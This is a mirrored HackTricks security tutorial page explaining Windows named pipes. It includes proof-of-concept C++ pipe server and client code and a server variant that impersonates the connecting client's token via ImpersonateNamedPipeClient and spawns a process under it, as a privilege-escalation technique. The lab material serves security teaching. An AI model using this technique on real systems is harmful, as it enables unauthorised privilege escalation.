mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-26 21:13:44 +00:00
189 lines
8.5 KiB
Markdown
189 lines
8.5 KiB
Markdown
# Named Pipe Client Impersonation
|
|
|
|
## Named Pipe Client Impersonation
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
**This information was copied from** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
|
|
|
|
## Overview
|
|
|
|
A `pipe` is a block of shared memory that processes can use for communication and data exchange.
|
|
|
|
`Named Pipes` is a Windows mechanism that enables two unrelated processes to exchange data between themselves, even if the processes are located on two different networks. It's very simar to client/server architecture as notions such as `a named pipe server` and a named `pipe client` exist.
|
|
|
|
A named pipe server can open a named pipe with some predefined name and then a named pipe client can connect to that pipe via the known name. Once the connection is established, data exchange can begin.
|
|
|
|
This lab is concerned with a simple PoC code that allows:
|
|
|
|
* creating a single-threaded dumb named pipe server that will accept one client connection
|
|
* named pipe server to write a simple message to the named pipe so that the pipe client can read it
|
|
|
|
## Code
|
|
|
|
Below is the PoC for both the server and the client:
|
|
|
|
{% tabs %}
|
|
{% tab title="namedPipeServer.cpp" %}
|
|
```cpp
|
|
#include "pch.h"
|
|
#include <Windows.h>
|
|
#include <iostream>
|
|
|
|
int main() {
|
|
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
|
|
LPVOID pipeBuffer = NULL;
|
|
HANDLE serverPipe;
|
|
DWORD readBytes = 0;
|
|
DWORD readBuffer = 0;
|
|
int err = 0;
|
|
BOOL isPipeConnected;
|
|
BOOL isPipeOpen;
|
|
wchar_t message[] = L"HELL";
|
|
DWORD messageLenght = lstrlen(message) * 2;
|
|
DWORD bytesWritten = 0;
|
|
|
|
std::wcout << "Creating named pipe " << pipeName << std::endl;
|
|
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
|
|
|
|
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
|
|
if (isPipeConnected) {
|
|
std::wcout << "Incoming connection to " << pipeName << std::endl;
|
|
}
|
|
|
|
std::wcout << "Sending message: " << message << std::endl;
|
|
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="namedPipeClient.cpp" %}
|
|
```cpp
|
|
#include "pch.h"
|
|
#include <iostream>
|
|
#include <Windows.h>
|
|
|
|
const int MESSAGE_SIZE = 512;
|
|
|
|
int main()
|
|
{
|
|
LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
|
|
HANDLE clientPipe = NULL;
|
|
BOOL isPipeRead = true;
|
|
wchar_t message[MESSAGE_SIZE] = { 0 };
|
|
DWORD bytesRead = 0;
|
|
|
|
std::wcout << "Connecting to " << pipeName << std::endl;
|
|
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
|
|
|
while (isPipeRead) {
|
|
isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
|
|
std::wcout << "Received message: " << message;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
## Execution
|
|
|
|
Below shows the named pipe server and named pipe client working as expected:
|
|
|
|
|
|
|
|
Worth nothing that the named pipes communication by default uses SMB protocol:
|
|
|
|
|
|
|
|
Checking how the process maintains a handle to our named pipe `mantvydas-first-pipe`:
|
|
|
|
.png>)
|
|
|
|
Similary, we can see the client having an open handle to the named pipe:
|
|
|
|
.png>)
|
|
|
|
We can even see our pipe with powershell:
|
|
|
|
```csharp
|
|
((Get-ChildItem \\.\pipe\).name)[-1..-5]
|
|
```
|
|
|
|
.png>)
|
|
|
|
## Token Impersonation
|
|
|
|
{% hint style="info" %}
|
|
Note that in order to impersonate the token of the client process you need to have (the server process creating the pipe) the **`SeImpersonate`** token privilege
|
|
{% endhint %}
|
|
|
|
It is possible for the named pipe server to impersonate the named pipe client's security context by leveraging a `ImpersonateNamedPipeClient` API call which in turn changes the named pipe server's current thread's token with that of the named pipe client's token.
|
|
|
|
We can update the the named pipe server's code like this to achieve the impersonation - note that modifications are seen in line 25 and below:
|
|
|
|
```cpp
|
|
int main() {
|
|
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
|
|
LPVOID pipeBuffer = NULL;
|
|
HANDLE serverPipe;
|
|
DWORD readBytes = 0;
|
|
DWORD readBuffer = 0;
|
|
int err = 0;
|
|
BOOL isPipeConnected;
|
|
BOOL isPipeOpen;
|
|
wchar_t message[] = L"HELL";
|
|
DWORD messageLenght = lstrlen(message) * 2;
|
|
DWORD bytesWritten = 0;
|
|
|
|
std::wcout << "Creating named pipe " << pipeName << std::endl;
|
|
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
|
|
|
|
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
|
|
if (isPipeConnected) {
|
|
std::wcout << "Incoming connection to " << pipeName << std::endl;
|
|
}
|
|
|
|
std::wcout << "Sending message: " << message << std::endl;
|
|
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
|
|
|
|
std::wcout << "Impersonating the client..." << std::endl;
|
|
ImpersonateNamedPipeClient(serverPipe);
|
|
err = GetLastError();
|
|
|
|
STARTUPINFO si = {};
|
|
wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
|
|
PROCESS_INFORMATION pi = {};
|
|
HANDLE threadToken = GetCurrentThreadToken();
|
|
CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
Running the server and connecting to it with the client that is running under administrator@offense.local security context, we can see that the main thread of the named server pipe assumed the token of the named pipe client - offense\administrator, although the PipeServer.exe itself is running under ws01\mantvydas security context. Sounds like a good way to escalate privileges?
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|